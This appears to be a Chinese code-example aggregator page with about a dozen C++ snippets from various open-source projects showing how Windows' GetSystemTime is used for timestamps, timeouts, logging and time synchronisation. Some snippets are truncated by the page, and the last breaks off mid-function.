本文整理汇总了C++中GetSystemTime函数的典型用法代码示例。如果您正苦于以下问题:C++ GetSystemTime函数的具体用法?C++ GetSystemTime怎么用?C++ GetSystemTime使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetSystemTime函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: debug
buffer_t *conn_transmit(connection_t conn, const unsigned char *buf, size_t size, int timeout)
{
//int retries = 3;
unsigned int bytes;
SYSTEMTIME systemTime;
unsigned long adj_timeout = timeout;
int ret;
buffer_t *rb;
DWORD nBytes, nTransfer;
debug("Transmitting data, size %d\n",size);
hdlc_sendpacket(conn,buf,size);
GetSystemTime( &systemTime );
/* Prepare event for overlapped receive */
conn->rol.Offset = conn->rol.OffsetHigh = 0;
ResetEvent( conn->rol.hEvent );
do {
bytes = get_bytes_in_rxqueue(conn);
debug("Bytes in RX queue: %lu\n",bytes);
/* If RX queue already contains bytes, read them at once */
if (bytes) {
if (ReadFile( conn->hcomm, conn->rxbuf, bytes, &nBytes, &conn->rol)==0) {
/* Something weird happened.. */
fprintf(stderr,"Error in ReadFile(): %lu\n", GetLastError());
return NULL;
}
debug("Read %lu bytes, processing\n", nBytes);
if (verbose>2) {
int i;
printf("Rx:");
for (i=0; i<nBytes; i++) {
printf(" 0x%02x",conn->rxbuf[i]);
}
printf("\n");
}
/* Send to processing at once */
rb = hdlc_process(conn->rxbuf, nBytes);
if (rb) {
return rb;
}
/* Not enough data yet. Let go. */
} else {
/* No known size, have to read one byte at once */
debug("No bytes in queue\n");
ResetEvent( conn->rol.hEvent );
ret = ReadFile( conn->hcomm, conn->rxbuf, 1, &nBytes, &conn->rol);
switch (ret) {
default:
/* We read data OK */
if (nBytes) {
debug("Read %lu bytes\n", nBytes);
rb = hdlc_process(conn->rxbuf,1);
if (rb)
return rb;
}
break;
case 0:
if (GetLastError()==ERROR_IO_PENDING) {
/* Overlapped read going on */
switch (WaitForSingleObject(conn->rol.hEvent, adj_timeout)) {
case WAIT_TIMEOUT:
break;
case WAIT_OBJECT_0:
/* Read data */
if (!GetOverlappedResult(conn->hcomm, &conn->rol, &nTransfer, FALSE)) {
/* Some error occured... */
fprintf(stderr,"Error in GetOverlappedResult(): %lu\n",GetLastError());
return NULL;
} else {
/* RX finished, process */
rb = hdlc_process(conn->rxbuf,1);
if (rb)
return rb;
}
break;
default:
return NULL;
}
} else {
fprintf(stderr,"Error in ReadFile: %lu\n",GetLastError());
return NULL;
}
}
}
} while (1);
//.........这里部分代码省略.........
示例2: FileOpen
//---------------------------------------------------------------------------
void __fastcall TFormLog::ButtonLogClick(TObject *Sender)
{
if(EditQRZ->Text=="") return;
int H;
AnsiString LogName = ThePath + "\\stream.adi";
if(FileExists(LogName))
{
H = FileOpen(LogName,fmOpenReadWrite);
if(H<0)
{
Application->MessageBox("Cannot write to log","IZ8BLY PSK31 Lab",MB_OK | MB_ICONSTOP);
return;
}
FileSeek(H,0,2);
}
else
{
H = FileCreate(LogName);
if(H<0)
{
Application->MessageBox("Cannot write to log","IZ8BLY PSK31 Lab",MB_OK | MB_ICONSTOP);
return;
}
FileWriteString(H,"Created by IZ8BLY PSK31 Lab\r\n<EOH>\r\n");
}
AnsiString Linea;
TDateTime TD;
if(UTCTimeLog)
{
SYSTEMTIME SystemTime;
GetSystemTime(&SystemTime);
TD = SystemTimeToDateTime(SystemTime);
}
else
{
TD = TDateTime().CurrentDateTime();
}
Linea = FormatAdif("CALL",EditQRZ->Text) +
FormatAdif("NAME",EditName->Text)+
FormatAdif("QTH",EditQTH->Text)+
FormatAdif("RST_RCVD",EditRSTReceived->Text)+
FormatAdif("RST_SENT",EditRSTSent->Text)+
FormatAdif("FREQ",EditFrequency->Text)+
FormatAdif("MODE","STREAM")+
FormatAdif("QSO_DATE",TD.FormatString("yyyymmdd"))+
FormatAdif("TIME_ON",TD.FormatString("hhmm"))+
FormatAdif("COMMENT",EditComments->Text)+
"<EOR>\r\n";
FileWriteString(H,Linea);
FileClose(H);
char oldclip[2048];
Clipboard()->GetTextBuf(oldclip,2048);
Clipboard()->SetTextBuf(Linea.c_str());
SendMessage(HWND_BROADCAST,IZ8BLY,0,0);
Clipboard()->SetTextBuf(oldclip);
ButtonLog->Enabled = false;
}
示例3: OpenProcess
void CCrashInfoReader::CollectMiscCrashInfo(CErrorReportInfo& eri)
{
// Get crash time
Utility::GetSystemTimeUTC(eri.m_sSystemTimeUTC);
// Open parent process handle
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,
FALSE,
m_dwProcessId);
if(hProcess!=NULL)
{
SIZE_T uBytesRead = 0;
BYTE buff[1024];
memset(&buff, 0, 1024);
// Read exception information from process memory
if(m_pExInfo!=NULL)
{
if(ReadProcessMemory(hProcess, m_pExInfo, &buff, sizeof(EXCEPTION_POINTERS), &uBytesRead) &&
uBytesRead==sizeof(EXCEPTION_POINTERS))
{
EXCEPTION_POINTERS* pExcPtrs = (EXCEPTION_POINTERS*)buff;
if(pExcPtrs->ExceptionRecord!=NULL)
{
DWORD64 dwExcRecordAddr = (DWORD64)pExcPtrs->ExceptionRecord;
if(ReadProcessMemory(hProcess, (LPCVOID)dwExcRecordAddr, &buff, sizeof(EXCEPTION_RECORD), &uBytesRead) &&
uBytesRead==sizeof(EXCEPTION_RECORD))
{
EXCEPTION_RECORD* pExcRec = (EXCEPTION_RECORD*)buff;
eri.m_dwExceptionAddress = (DWORD64)pExcRec->ExceptionAddress;
}
}
}
}
else
eri.m_dwExceptionAddress = 0;
// Get number of GUI resources in use
eri.m_dwGuiResources = GetGuiResources(hProcess, GR_GDIOBJECTS);
// Determine if GetProcessHandleCount function available
typedef BOOL (WINAPI *LPGETPROCESSHANDLECOUNT)(HANDLE, PDWORD);
HMODULE hKernel32 = LoadLibrary(_T("kernel32.dll"));
if(hKernel32!=NULL)
{
LPGETPROCESSHANDLECOUNT pfnGetProcessHandleCount =
(LPGETPROCESSHANDLECOUNT)GetProcAddress(hKernel32, "GetProcessHandleCount");
if(pfnGetProcessHandleCount!=NULL)
{
// Get count of opened handles
DWORD dwHandleCount = 0;
BOOL bGetHandleCount = pfnGetProcessHandleCount(hProcess, &dwHandleCount);
if(bGetHandleCount)
eri.m_dwProcessHandleCount = dwHandleCount;
else
eri.m_dwProcessHandleCount = 0;
}
FreeLibrary(hKernel32);
hKernel32=NULL;
}
// Get memory usage info
PROCESS_MEMORY_COUNTERS meminfo;
BOOL bGetMemInfo = GetProcessMemoryInfo(hProcess, &meminfo,
sizeof(PROCESS_MEMORY_COUNTERS));
if(bGetMemInfo)
{
CString sMemUsage;
#ifdef _WIN64
sMemUsage.Format(_T("%I64u"), meminfo.WorkingSetSize/1024);
#else
sMemUsage.Format(_T("%lu"), meminfo.WorkingSetSize/1024);
#endif
eri.m_sMemUsage = sMemUsage;
}
// Determine the period of time the process is working.
FILETIME CreationTime, ExitTime, KernelTime, UserTime;
/*BOOL bGetTimes = */GetProcessTimes(hProcess, &CreationTime, &ExitTime, &KernelTime, &UserTime);
/*ATLASSERT(bGetTimes);*/
SYSTEMTIME AppStartTime;
FileTimeToSystemTime(&CreationTime, &AppStartTime);
SYSTEMTIME CurTime;
GetSystemTime(&CurTime);
ULONG64 uCurTime = Utility::SystemTimeToULONG64(CurTime);
ULONG64 uStartTime = Utility::SystemTimeToULONG64(AppStartTime);
// Check that the application works for at least one minute before crash.
// This might help to avoid cyclic error report generation when the applciation
// crashes on startup.
double dDiffTime = (double)(uCurTime-uStartTime)*10E-08;
if(dDiffTime<60)
{
m_bAppRestart = FALSE; // Disable restart.
//.........这里部分代码省略.........
示例4: LogfAllocAndBuildNewRecord
PBYTE LogfAllocAndBuildNewRecord(LPDWORD lpRecSize,
DWORD dwRecordNumber,
WORD wType,
WORD wCategory,
DWORD dwEventId,
LPCWSTR SourceName,
LPCWSTR ComputerName,
DWORD dwSidLength,
PSID lpUserSid,
WORD wNumStrings,
WCHAR * lpStrings,
DWORD dwDataSize,
LPVOID lpRawData)
{
DWORD dwRecSize;
PEVENTLOGRECORD pRec;
SYSTEMTIME SysTime;
WCHAR *str;
UINT i, pos;
PBYTE Buffer;
dwRecSize =
sizeof(EVENTLOGRECORD) + (lstrlenW(ComputerName) +
lstrlenW(SourceName) + 2) * sizeof(WCHAR);
if (dwRecSize % 4 != 0)
dwRecSize += 4 - (dwRecSize % 4);
dwRecSize += dwSidLength;
for (i = 0, str = lpStrings; i < wNumStrings; i++)
{
dwRecSize += (lstrlenW(str) + 1) * sizeof(WCHAR);
str += lstrlenW(str) + 1;
}
dwRecSize += dwDataSize;
if (dwRecSize % 4 != 0)
dwRecSize += 4 - (dwRecSize % 4);
dwRecSize += 4;
Buffer = HeapAlloc(MyHeap, HEAP_ZERO_MEMORY, dwRecSize);
if (!Buffer)
{
DPRINT1("Can't allocate heap!\n");
return NULL;
}
pRec = (PEVENTLOGRECORD) Buffer;
pRec->Length = dwRecSize;
pRec->Reserved = LOGFILE_SIGNATURE;
pRec->RecordNumber = dwRecordNumber;
GetSystemTime(&SysTime);
SystemTimeToEventTime(&SysTime, &pRec->TimeGenerated);
SystemTimeToEventTime(&SysTime, &pRec->TimeWritten);
pRec->EventID = dwEventId;
pRec->EventType = wType;
pRec->EventCategory = wCategory;
pos = sizeof(EVENTLOGRECORD);
lstrcpyW((WCHAR *) (Buffer + pos), SourceName);
pos += (lstrlenW(SourceName) + 1) * sizeof(WCHAR);
lstrcpyW((WCHAR *) (Buffer + pos), ComputerName);
pos += (lstrlenW(ComputerName) + 1) * sizeof(WCHAR);
pRec->UserSidOffset = pos;
if (pos % 4 != 0)
pos += 4 - (pos % 4);
if (dwSidLength)
{
CopyMemory(Buffer + pos, lpUserSid, dwSidLength);
pRec->UserSidLength = dwSidLength;
pRec->UserSidOffset = pos;
pos += dwSidLength;
}
pRec->StringOffset = pos;
for (i = 0, str = lpStrings; i < wNumStrings; i++)
{
lstrcpyW((WCHAR *) (Buffer + pos), str);
pos += (lstrlenW(str) + 1) * sizeof(WCHAR);
str += lstrlenW(str) + 1;
}
pRec->NumStrings = wNumStrings;
pRec->DataOffset = pos;
if (dwDataSize)
{
pRec->DataLength = dwDataSize;
CopyMemory(Buffer + pos, lpRawData, dwDataSize);
pos += dwDataSize;
}
//.........这里部分代码省略.........
示例5: now_secs
/*
* Returns millisecond timing (in seconds) for the current time.
*
* Note: This function should be called once in single-threaded mode in Win32,
* to get it initialized.
*/
time_d now_secs(void) {
#if THREADAPI == THREADAPI_WINDOWS
/*
* Windows FILETIME values are "100-nanosecond intervals since
* January 1, 1601 (UTC)" (MSDN). Well, we'd want Unix Epoch as
* the offset and it seems, so would they:
*
* <http://msdn.microsoft.com/en-us/library/ms724928(VS.85).aspx>
*/
SYSTEMTIME st;
FILETIME ft;
ULARGE_INTEGER uli;
static ULARGE_INTEGER uli_epoch; // Jan 1st 1970 0:0:0
if (uli_epoch.HighPart==0) {
st.wYear= 1970;
st.wMonth= 1; // Jan
st.wDay= 1;
st.wHour= st.wMinute= st.wSecond= st.wMilliseconds= 0;
if (!SystemTimeToFileTime( &st, &ft ))
FAIL( "SystemTimeToFileTime", GetLastError() );
uli_epoch.LowPart= ft.dwLowDateTime;
uli_epoch.HighPart= ft.dwHighDateTime;
}
GetSystemTime( &st ); // current system date/time in UTC
if (!SystemTimeToFileTime( &st, &ft ))
FAIL( "SystemTimeToFileTime", GetLastError() );
uli.LowPart= ft.dwLowDateTime;
uli.HighPart= ft.dwHighDateTime;
/* 'double' has less accuracy than 64-bit int, but if it were to degrade,
* it would do so gracefully. In practise, the integer accuracy is not
* of the 100ns class but just 1ms (Windows XP).
*/
# if 1
// >= 2.0.3 code
return (double) ((uli.QuadPart - uli_epoch.QuadPart)/10000) / 1000.0;
# elif 0
// fix from Kriss Daniels, see:
// <http://luaforge.net/forum/forum.php?thread_id=22704&forum_id=1781>
//
// "seem to be getting negative numbers from the old version, probably number
// conversion clipping, this fixes it and maintains ms resolution"
//
// This was a bad fix, and caused timer test 5 sec timers to disappear.
// --AKa 25-Jan-2009
//
return ((double)((signed)((uli.QuadPart/10000) - (uli_epoch.QuadPart/10000)))) / 1000.0;
# else
// <= 2.0.2 code
return (double)(uli.QuadPart - uli_epoch.QuadPart) / 10000000.0;
# endif
#else // THREADAPI == THREADAPI_PTHREAD
struct timeval tv;
// {
// time_t tv_sec; /* seconds since Jan. 1, 1970 */
// suseconds_t tv_usec; /* and microseconds */
// };
int rc= gettimeofday( &tv, NULL /*time zone not used any more (in Linux)*/ );
assert( rc==0 );
return (double)(tv.tv_sec*1000000 + tv.tv_usec) / 1000000.0;
#endif // THREADAPI THREADAPI_PTHREAD
}
示例6: ptw32_relmillisecs
INLINE
#endif /* PTW32_BUILD_INLINED */
DWORD
ptw32_relmillisecs (const struct timespec * abstime)
{
const int64_t NANOSEC_PER_MILLISEC = 1000000;
const int64_t MILLISEC_PER_SEC = 1000;
DWORD milliseconds;
int64_t tmpAbsMilliseconds;
int64_t tmpCurrMilliseconds;
#if defined(NEED_FTIME)
struct timespec currSysTime;
FILETIME ft;
SYSTEMTIME st;
#else /* ! NEED_FTIME */
#if ( defined(_MSC_VER) && _MSC_VER >= 1300 ) /* MSVC7+ */ || \
( defined(PTW32_CONFIG_MINGW) && __MSVCRT_VERSION__ >= 0x0601 )
struct __timeb64 currSysTime;
#else
struct _timeb currSysTime;
#endif
#endif /* NEED_FTIME */
/*
* Calculate timeout as milliseconds from current system time.
*/
/*
* subtract current system time from abstime in a way that checks
* that abstime is never in the past, or is never equivalent to the
* defined INFINITE value (0xFFFFFFFF).
*
* Assume all integers are unsigned, i.e. cannot test if less than 0.
*/
tmpAbsMilliseconds = (int64_t)abstime->tv_sec * MILLISEC_PER_SEC;
tmpAbsMilliseconds += ((int64_t)abstime->tv_nsec + (NANOSEC_PER_MILLISEC/2)) / NANOSEC_PER_MILLISEC;
/* get current system time */
#if defined(NEED_FTIME)
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
/*
* GetSystemTimeAsFileTime(&ft); would be faster,
* but it does not exist on WinCE
*/
ptw32_filetime_to_timespec(&ft, &currSysTime);
tmpCurrMilliseconds = (int64_t)currSysTime.tv_sec * MILLISEC_PER_SEC;
tmpCurrMilliseconds += ((int64_t)currSysTime.tv_nsec + (NANOSEC_PER_MILLISEC/2))
/ NANOSEC_PER_MILLISEC;
#else /* ! NEED_FTIME */
#if defined(_MSC_VER) && _MSC_VER >= 1400 /* MSVC8+ */
_ftime64_s(&currSysTime);
#elif ( defined(_MSC_VER) && _MSC_VER >= 1300 ) /* MSVC7+ */ || \
( defined(PTW32_CONFIG_MINGW) && __MSVCRT_VERSION__ >= 0x0601 )
_ftime64(&currSysTime);
#else
_ftime(&currSysTime);
#endif
tmpCurrMilliseconds = (int64_t) currSysTime.time * MILLISEC_PER_SEC;
tmpCurrMilliseconds += (int64_t) currSysTime.millitm;
#endif /* NEED_FTIME */
if (tmpAbsMilliseconds > tmpCurrMilliseconds)
{
milliseconds = (DWORD) (tmpAbsMilliseconds - tmpCurrMilliseconds);
if (milliseconds == INFINITE)
{
/* Timeouts must be finite */
milliseconds--;
}
}
else
{
/* The abstime given is in the past */
milliseconds = 0;
}
return milliseconds;
}
示例7: net_convert_unix_date
/*
*--Full format
1 2 3 4 5 6 7
01234567890123456789012345678901234567890123456789012345678901234567890123456789
Sep 1 1990 - start with ' '
Sep 11 11:59
Sep 11 01:59 - start with 0
Sep 11 1:59 - start with ' '
Dec 12 1989
FCv 23 1990
*--Short format:
1 2 3 4 5 6 7
01234567890123456789012345678901234567890123456789012345678901234567890123456789
f 01:07 - time
f 01:7 - minutes with one digit
F 15:43
f 2002 - only year
*--Expanded format:
1 2 3 4 5 6 7
01234567890123456789012345678901234567890123456789012345678901234567890123456789
*2005-06-20 14:22
*2005-07-08 19:21
*2004-10-14 14:14
*2004-10-14 14:14
*/
BOOL net_convert_unix_date(LPSTR& datestr, Time_t& decoded)
{
SYSTEMTIME st;
GetSystemTime(&st);
st.wMilliseconds = 0;
st.wSecond = 0;
st.wDayOfWeek = 0;
char *bcol = datestr; /* Column begin */
char *ecol; /* Column end */
//Expanded format (DDDD-)
if(NET_IS_DIGIT(bcol[0]) && NET_IS_DIGIT(bcol[1]) && NET_IS_DIGIT(bcol[2]) && NET_IS_DIGIT(bcol[3]) &&
bcol[4] == '-')
{
#define CVT( nm, start, end ) bcol[end] = 0; \
st.nm = atoi(bcol+start); \
CHECK( (st.nm == MAX_WORD), FALSE )
CVT(wYear, 0, 4)
CVT(wMonth, 5, 7)
CVT(wDay, 8, 10)
CVT(wHour, 11, 13)
CVT(wMinute,14, 16)
#undef CVT
datestr = bcol + 17;
return SystemTimeToFileTime(&st, decoded);
}
//Month+day or short format
// (ecol must be set to char after decoded part)
if(NET_TO_UPPER(bcol[0]) == 'F' &&
NET_IS_SPACE(bcol[1]))
{
//Short format - ignore month and day
ecol = bcol + 2;
}
else
{
//Month
if(NET_IS_DIGIT(bcol[0]) && NET_IS_DIGIT(bcol[1]) && NET_IS_SPACE(bcol[2]))
st.wMonth = AtoI(bcol,MAX_WORD);
else
st.wMonth = NET_MonthNo(datestr);
CHECK((st.wMonth == MAX_WORD), FALSE)
bcol = SkipSpace(SkipNSpace(bcol));
CHECK((*bcol == 0), FALSE)
//Day
ecol = SkipNSpace(bcol);
if(*ecol != ' ')
return FALSE;
*ecol = 0;
st.wDay = AtoI(bcol,MAX_WORD);
*ecol = ' ';
CHECK((st.wDay == MAX_WORD), FALSE)
}
//Year or time
ecol = SkipSpace(ecol);
bcol = ecol;
if(bcol[2] != ':' && bcol[1] != ':')
{
//Four digits year
ecol = SkipDigit(bcol);
CHECK((ecol == bcol), FALSE)
*ecol = 0;
st.wYear = AtoI(bcol,MAX_WORD);
ecol++;
CHECK((st.wYear == MAX_WORD), FALSE)
//.........这里部分代码省略.........
示例8: GetTimeCounter
void STDCALL GetTimeCounter(int64_t* v)
{
SYSTEMTIME t;
GetSystemTime(&t);
*v = (t.wDay*24+t.wHour)*60*60*1000+(t.wMinute*60+t.wSecond)*1000+t.wMilliseconds;
}
示例9: switch
void CMediaDatabase::GetStatisticFromDatabase(SallyAPI::GUI::CAppBase* appBase, SallyAPI::GUI::CListViewExt* listView, int type, int advancedType)
{
listView->Clear();
std::string mediaDirectory = SallyAPI::System::SallyHelper::GetMediaDirectory(appBase);
mediaDirectory.append("media.db");
bool bFileExists = SallyAPI::File::FileHelper::FileExistsAndNotEmpty(mediaDirectory);
if (!bFileExists)
return;
SallyAPI::Database::CDatabaseConnection* dbconn = SallyAPI::Database::CDatabaseConnection::Open(mediaDirectory);
std::string query;
switch (type)
{
case 0:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE PlayTime != 0 ORDER BY PlayTime DESC LIMIT 200;");
break;
case 1:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE PlayTime = 0 ORDER BY Title ASC LIMIT 200;");
break;
case 2:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 5 ORDER BY Title ASC LIMIT 200;");
break;
case 3:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 4 ORDER BY Title ASC LIMIT 200;");
break;
case 4:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 3 ORDER BY Title ASC LIMIT 200;");
break;
case 5:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 2 ORDER BY Title ASC LIMIT 200;");
break;
case 6:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 1 ORDER BY Title ASC LIMIT 200;");
break;
case 7:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE Rating = 0 ORDER BY Title ASC LIMIT 200;");
break;
case 8:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media ORDER BY DBAddDate DESC, Title ASC LIMIT 200;");
break;
case 9:
query.append("SELECT Filename, Type, Artist, Title, Album FROM media WHERE PlayTime > 10 AND ");
SYSTEMTIME dateToConvert;
SYSTEMTIME currentDate;
GetSystemTime(¤tDate);
dateToConvert.wDay = currentDate.wDay;
dateToConvert.wHour = 0;
dateToConvert.wMinute = 0;
dateToConvert.wSecond = 0;
switch (advancedType)
{
case 0:
if (currentDate.wMonth == 1)
{
currentDate.wMonth = 12;
dateToConvert.wYear = currentDate.wYear - 1;
}
else
{
dateToConvert.wMonth = currentDate.wMonth - 1;
dateToConvert.wYear = currentDate.wYear;
}
break;
case 1:
if (currentDate.wMonth <= 6)
{
currentDate.wMonth = 12 - ((currentDate.wMonth - 6) * -1);
dateToConvert.wYear = currentDate.wYear - 1;
}
else
{
dateToConvert.wMonth = currentDate.wMonth - 6;
dateToConvert.wYear = currentDate.wYear;
}
break;
case 2:
dateToConvert.wMonth = currentDate.wMonth;
dateToConvert.wYear = currentDate.wYear - 1;
break;
case 3:
dateToConvert.wMonth = currentDate.wMonth;
dateToConvert.wYear = currentDate.wYear - 2;
break;
case 4:
dateToConvert.wMonth = currentDate.wMonth;
dateToConvert.wYear = currentDate.wYear - 3;
break;
case 5:
dateToConvert.wMonth = currentDate.wMonth;
dateToConvert.wYear = currentDate.wYear - 4;
break;
case 6:
//.........这里部分代码省略.........
示例10: GetSystemTime
double CExpression::vexp ( arbore a )
{
double v;
SYSTEMTIME tm;
GetSystemTime(&tm);
if (a->operatie==NULL) {error_code=10;return 0;}
switch(a->operatie){
case '+' : return( vexp(a->left)+vexp(a->right) );
case '-' : return( vexp(a->left)-vexp(a->right) );
case '*' : return( vexp(a->left)*vexp(a->right) );
case '%':
{
v = vexp(a->right);
if(v == 0){
error_code = DIVISION_BY_0;
return 0;
}
return (int)vexp(a->left) % (int)v;
}
case '/' : v=vexp(a->right) ;
if (v==0){
error_code=DIVISION_BY_0;
return -vexp(a->left)/0.001;
}else{
return(vexp(a->left)/v);
}
case 150 : return(sin(vexp(a->left)));
case 151 : return(cos(vexp(a->left)));
case 152 : return(exp(vexp(a->left)));
case 153 : v=vexp(a->left) ;
if (v<0) {error_code=INVALID_DOMAIN;return 0;}
else return(sqrt(v));
case 154 : v=vexp(a->left) ;
if (v<=0) {error_code=INVALID_DOMAIN;return 0;}
else return(log(v));
case 155 : return (tan (vexp(a->left)));
case 156 : return (1 / tan (vexp(a->left)));
case 157 : return (asin (vexp(a->left)));
case 158 : return (acos (vexp(a->left)));
case 159 : return (atan (vexp(a->left)));
case 173 : return (fabs (vexp(a->left)));
case 160 : return tm.wYear;
case 161 : return tm.wMonth;
case 162 : return tm.wDay;
case 163 : return tm.wHour;
case 164 : return tm.wMinute;
case 165 : return tm.wSecond;
case 166 : return max(vexp(a->left),vexp(a->right));
case 167 : return min(vexp(a->left),vexp(a->right));
case 168 : return rng_rand(0,RAND_MAX)*vexp(a->left)/RAND_MAX;
//case '|' : return(fabs(vexp(a->left)));
case '^' : return(pow(vexp(a->left),vexp(a->right)));
case '@' : return (a->valoare);
//logical operations evaluation
case '<' : return( vexp(a->left) < vexp(a->right) );
case '>' : return( vexp(a->left) > vexp(a->right) );
case '!' : return(!vexp(a->right)) ;
// added by chenj, @2008-5-22
case '=' : return( vexp(a->left) == vexp(a->right) );
case '&' : return (int)(vexp(a->left)) & (int)(vexp(a->right));
case '|' : return (int)(vexp(a->left)) | (int)(vexp(a->right));
case 169:
{
RTK_TIME t;
rtk_time_mark(&t);
return (double)(__int64)t.Data / 1e7;
}
case 170:
{
/* last update time */
PRTK_TAG tte;
__r8 retval = 0;
tte = (PRTK_TAG)a->left->pvObj;
if(!tte){
error_code=UNDEFINED_VARIABLE;
retval = 0;
}else{
if(!(tte->d.Value.Flags & TF_Valid)){
error_code=UNDEFINED_VARIABLE;
retval = 0;
}else{
PRTK_TIME pTime = (PRTK_TIME)&tte->d.BinaryAddress[8];
retval = (double)(__int64)pTime->Data / 1e7;
rtk_time_mark(pTime);
}
}
return retval;
}
case 171 :
{
// a database tag
PRTK_TAG tte;
__r8 retval = 0;
//.........这里部分代码省略.........
示例11: GetLocalTime
/*
** Read the options specified in the ini file.
**
*/
void CMeasureTime::ReadOptions(CConfigParser& parser, const WCHAR* section)
{
CMeasure::ReadOptions(parser, section);
m_Format = parser.ReadString(section, L"Format", L"");
m_TimeStamp = parser.ReadFloat(section, L"TimeStamp", -1);
if (m_TimeStamp < 0.0)
{
const WCHAR* timezone = parser.ReadString(section, L"TimeZone", L"local").c_str();
if (_wcsicmp(L"local", timezone) == 0)
{
SYSTEMTIME sysLocalTime, sysUTCTime;
GetLocalTime(&sysLocalTime);
GetSystemTime(&sysUTCTime);
FILETIME ftLocalTime, ftUTCTime;
SystemTimeToFileTime(&sysLocalTime, &ftLocalTime);
SystemTimeToFileTime(&sysUTCTime, &ftUTCTime);
LARGE_INTEGER largeInt1, largeInt2;
largeInt1.HighPart = ftLocalTime.dwHighDateTime;
largeInt1.LowPart = ftLocalTime.dwLowDateTime;
largeInt2.HighPart = ftUTCTime.dwHighDateTime;
largeInt2.LowPart = ftUTCTime.dwLowDateTime;
m_DeltaTime.QuadPart = largeInt1.QuadPart - largeInt2.QuadPart;
}
else
{
double zone = parser.ParseDouble(timezone, 0.0);
bool dst = 1 == parser.ReadInt(section, L"DaylightSavingTime", 1);
struct tm* today;
time_t now;
time(&now);
today = localtime(&now);
if (dst && today->tm_isdst)
{
// Add DST
TIME_ZONE_INFORMATION tzi;
GetTimeZoneInformation(&tzi);
m_DeltaTime.QuadPart = (LONGLONG)((zone * 3600) - tzi.DaylightBias * 60) * 10000000;
}
else
{
m_DeltaTime.QuadPart = (LONGLONG)(zone * 3600) * 10000000;
}
}
}
else
{
m_DeltaTime.QuadPart = 0;
}
if (!m_Initialized)
{
// Initialize m_Time to avoid causing EINVAL in TimeToString() until calling UpdateValue()
FillCurrentTime();
}
}
示例12: main
int main(int argc, char *argv[])
{
CURL *curl;
conf_t conf[1];
int OptionIndex;
struct tm *lt;
struct tm *gmt;
time_t tt;
time_t tt_local;
time_t tt_gmt;
double tzonediffFloat;
int tzonediffWord;
char timeBuf[61];
char tzoneBuf[16];
int RetValue;
OptionIndex = 0;
ShowAllHeader = 0; /* Do not show HTTP Header */
AutoSyncTime = 0; /* Do not synchronise computer clock */
RetValue = 0; /* Successful Exit */
conf_init(conf);
if (argc > 1) {
while (OptionIndex < argc) {
if (strncmp(argv[OptionIndex], "--server=", 9) == 0)
snprintf(conf->timeserver, MAX_STRING, "%s", &argv[OptionIndex][9]);
if (strcmp(argv[OptionIndex], "--showall") == 0)
ShowAllHeader = 1;
if (strcmp(argv[OptionIndex], "--synctime") == 0)
AutoSyncTime = 1;
if (strncmp(argv[OptionIndex], "--proxy-user=", 13) == 0)
snprintf(conf->proxy_user, MAX_STRING, "%s", &argv[OptionIndex][13]);
if (strncmp(argv[OptionIndex], "--proxy=", 8) == 0)
snprintf(conf->http_proxy, MAX_STRING, "%s", &argv[OptionIndex][8]);
if ((strcmp(argv[OptionIndex], "--help") == 0) ||
(strcmp(argv[OptionIndex], "/?") == 0)) {
showUsage();
return 0;
}
OptionIndex++;
}
}
if (*conf->timeserver == 0) /* Use default server for time information */
snprintf(conf->timeserver, MAX_STRING, "%s", DefaultTimeServer[0]);
/* Init CURL before usage */
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl) {
SyncTime_CURL_Init(curl, conf->http_proxy, conf->proxy_user);
/* Calculating time diff between GMT and localtime */
tt = time(0);
lt = localtime(&tt);
tt_local = mktime(lt);
gmt = gmtime(&tt);
tt_gmt = mktime(gmt);
tzonediffFloat = difftime(tt_local, tt_gmt);
tzonediffWord = (int)(tzonediffFloat/3600.0);
if ((double)(tzonediffWord * 3600) == tzonediffFloat)
snprintf(tzoneBuf, 15, "%+03d'00'", tzonediffWord);
else
snprintf(tzoneBuf, 15, "%+03d'30'", tzonediffWord);
/* Get current system time and local time */
GetSystemTime(&SYSTime);
GetLocalTime(&LOCALTime);
snprintf(timeBuf, 60, "%s, %02d %s %04d %02d:%02d:%02d.%03d, ",
DayStr[LOCALTime.wDayOfWeek], LOCALTime.wDay,
MthStr[LOCALTime.wMonth-1], LOCALTime.wYear,
LOCALTime.wHour, LOCALTime.wMinute, LOCALTime.wSecond,
LOCALTime.wMilliseconds);
fprintf(stderr, "Fetch: %s\n\n", conf->timeserver);
fprintf(stderr, "Before HTTP. Date: %s%s\n\n", timeBuf, tzoneBuf);
/* HTTP HEAD command to the Webserver */
SyncTime_CURL_Fetch(curl, conf->timeserver, "index.htm",
HTTP_COMMAND_HEAD);
GetLocalTime(&LOCALTime);
snprintf(timeBuf, 60, "%s, %02d %s %04d %02d:%02d:%02d.%03d, ",
DayStr[LOCALTime.wDayOfWeek], LOCALTime.wDay,
MthStr[LOCALTime.wMonth-1], LOCALTime.wYear,
LOCALTime.wHour, LOCALTime.wMinute, LOCALTime.wSecond,
LOCALTime.wMilliseconds);
fprintf(stderr, "\nAfter HTTP. Date: %s%s\n", timeBuf, tzoneBuf);
if (AutoSyncTime == 3) {
/* Synchronising computer clock */
if (!SetSystemTime(&SYSTime)) { /* Set system time */
fprintf(stderr, "ERROR: Unable to set system time.\n");
RetValue = 1;
//.........这里部分代码省略.........
示例13: DbgElapseTime
DWORD
HTENTRY
DbgElapseTime(
DBG_TIMEx OldTime
)
{
#ifndef UMODE
return(0);
#else
#if defined(_OS2_) || defined(_OS_20_) || defined(_DOS_)
return((DWORD)clock() - OldTime);
#else
#if 1
return(GetTickCount() - OldTime.dw);
#else
SYSTEMTIME SysTime;
DBG_TIMEx CurTime;
DWORD ElapseTime;
